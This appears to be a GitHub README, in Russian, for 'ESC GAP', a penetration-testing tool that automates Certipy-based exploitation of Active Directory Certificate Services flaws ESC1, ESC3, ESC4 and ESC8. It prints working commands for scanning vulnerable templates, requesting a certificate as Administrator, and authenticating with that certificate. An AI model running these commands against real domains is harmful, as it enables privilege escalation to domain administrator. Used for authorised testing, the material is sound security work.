Skip to content

ESC GAP (Escalation Certificate Services Gap) - это инструмент для автоматизированного тестирования уязвимостей в Active Directory Certificate Services (AD CS). Инструмент предназначен для выявления и эксплуатации известных уязвимостей ESC1, ESC3, ESC4 и ESC8 в лабораторных условиях.

License

Notifications You must be signed in to change notification settings

NanoTrash/esc_gap

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ESC GAP - Certificate Services Vulnerability Testing Tool

Описание

ESC GAP (Escalation Certificate Services Gap) - это инструмент для автоматизированного тестирования уязвимостей в Active Directory Certificate Services (AD CS). Инструмент предназначен для выявления и эксплуатации известных уязвимостей ESC1, ESC3, ESC4 и ESC8 в лабораторных условиях.

Предупреждение

Данный инструмент предназначен исключительно для:

  • Образовательных целей
  • Тестирования безопасности в контролируемых лабораторных средах
  • Научных исследований в области информационной безопасности
  • Аудита безопасности с письменного разрешения владельца системы

Использование данного инструмента против систем без явного разрешения является незаконным и может повлечь уголовную ответственность.

Требования

  • Python 3.8 или выше
  • Linux/Unix окружение (рекомендуется WSL на Windows)
  • Доступ к Active Directory Certificate Services
  • Учетные данные для аутентификации в домене
  • Certipy (автоматически устанавливается)

Установка

  1. Клонируйте репозиторий:
git clone <repository-url>
cd esc_gap
  1. Создайте и активируйте виртуальное окружение:
python3 -m venv venv
source venv/bin/activate
  1. Установите зависимости:
pip install certipy-ad

Конфигурация

Перед использованием отредактируйте переменные в файле esc_gap.py:

USER = 'your_username'           # Имя пользователя для аутентификации
PASSWORD = 'your_password'       # Пароль пользователя
DOMAIN = 'your.domain.local'     # Домен Active Directory
DC_IP = '192.168.1.100'          # IP адрес контроллера домена
TARGET = 'dc01.domain.local'     # Имя целевого сервера

Использование

Автоматический режим

Запустите основной скрипт для автоматического выполнения всех атак:

python esc_gap.py

Скрипт автоматически:

  1. Загрузит результаты сканирования из JSON файла
  2. Проанализирует найденные уязвимости
  3. Выполнит соответствующие атаки для каждого типа ESC
  4. Предоставит итоговый отчет с полученными сертификатами

Ручной режим

Для ручного выполнения команд используйте документацию в файле esc_attack_commands.md.

Типы уязвимостей

ESC1 - Enrollee Supplies Subject + Client Authentication

Позволяет запросить сертификат с произвольным Subject, если шаблон:

  • Разрешает клиенту указывать Subject
  • Поддерживает аутентификацию клиента

ESC3 - Certificate Request Agent

Использует шаблоны с Certificate Request Agent EKU для запроса сертификатов от имени других пользователей.

ESC4 - Template Modification

Эксплуатирует опасные права доступа к шаблонам сертификатов для их модификации.

ESC8 - Web Enrollment over HTTP

Использует веб-регистрацию по HTTP для NTLM relay атак.

Структура проекта

esc_gap/
├── esc_gap.py                   # Основной скрипт автоматизации
├── esc_attack_commands.md       # Документация команд Certipy
├── 20250905162100_Certipy.json  # Результаты сканирования (пример)
├── pyproject.toml               # Конфигурация Poetry
├── venv/                        # Виртуальное окружение
├── README.md                    # Данная документация
└── LICENSE                      # Лицензия

Функции

Основные функции

  • run_certipy_scan() - Выполняет сканирование AD CS
  • load_scan_results() - Загружает результаты из JSON файла
  • analyze_vulnerabilities() - Анализирует найденные уязвимости
  • execute_esc1_attack() - Выполняет атаку ESC1
  • execute_esc3_attack() - Выполняет атаку ESC3
  • execute_esc4_attack() - Выполняет атаку ESC4
  • execute_esc8_attack() - Выполняет атаку ESC8

Вспомогательные функции

  • safe_print_command() - Безопасно выводит команды, скрывая пароли

Безопасность

  • Все пароли скрыты в выводе команд
  • Команды выполняются только в виртуальном окружении
  • Результаты сохраняются локально
  • Логирование всех операций

Примеры использования

Сканирование AD CS

./venv/bin/certipy find -u 'user@domain.local' -p 'password' -dn 'domain.local' -dc-ip '192.168.1.100' -target 'dc01.domain.local' -ldap-scheme ldap -json -enable -vulnerable

ESC1 атака

./venv/bin/certipy req -u 'user@domain.local' -p 'password' -target 'dc01.domain.local' -ca 'domain-DC01-CA' -template 'ESC1' -upn 'Administrator@domain.local' -pfx admin_cert.pfx

Аутентификация с сертификатом

./venv/bin/certipy auth -pfx admin_cert.pfx -dc-ip 192.168.1.100

Устранение неполадок

Проблемы с подключением

  1. Проверьте доступность контроллера домена
  2. Убедитесь в корректности учетных данных
  3. Проверьте настройки брандмауэра

Проблемы с сертификатами

  1. Убедитесь в наличии прав на запрос сертификатов
  2. Проверьте статус шаблонов сертификатов
  3. Проверьте настройки CA

Проблемы с зависимостями

  1. Убедитесь в активации виртуального окружения
  2. Переустановите зависимости: pip install --upgrade certipy-ad

Ограничения

  • Работает только с Active Directory Certificate Services
  • Требует учетные данные домена
  • Некоторые атаки могут быть заблокированы политиками безопасности
  • ESC8 требует дополнительных инструментов для NTLM relay

Разработка

Добавление новых атак

  1. Создайте новую функцию в esc_gap.py
  2. Добавьте вызов функции в main()
  3. Обновите документацию

Тестирование

Все изменения должны быть протестированы в изолированной лабораторной среде.

Лицензия

См. файл LICENSE для подробной информации о лицензии.

Автор

Разработано для образовательных и исследовательских целей.

Поддержка

Для вопросов и предложений создавайте issues в репозитории.

Changelog

v1.0.0

  • Первоначальный релиз
  • Поддержка ESC1, ESC3, ESC4, ESC8 атак
  • Автоматизация сканирования и эксплуатации
  • Безопасный вывод команд

About

ESC GAP (Escalation Certificate Services Gap) - это инструмент для автоматизированного тестирования уязвимостей в Active Directory Certificate Services (AD CS). Инструмент предназначен для выявления и эксплуатации известных уязвимостей ESC1, ESC3, ESC4 и ESC8 в лабораторных условиях.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages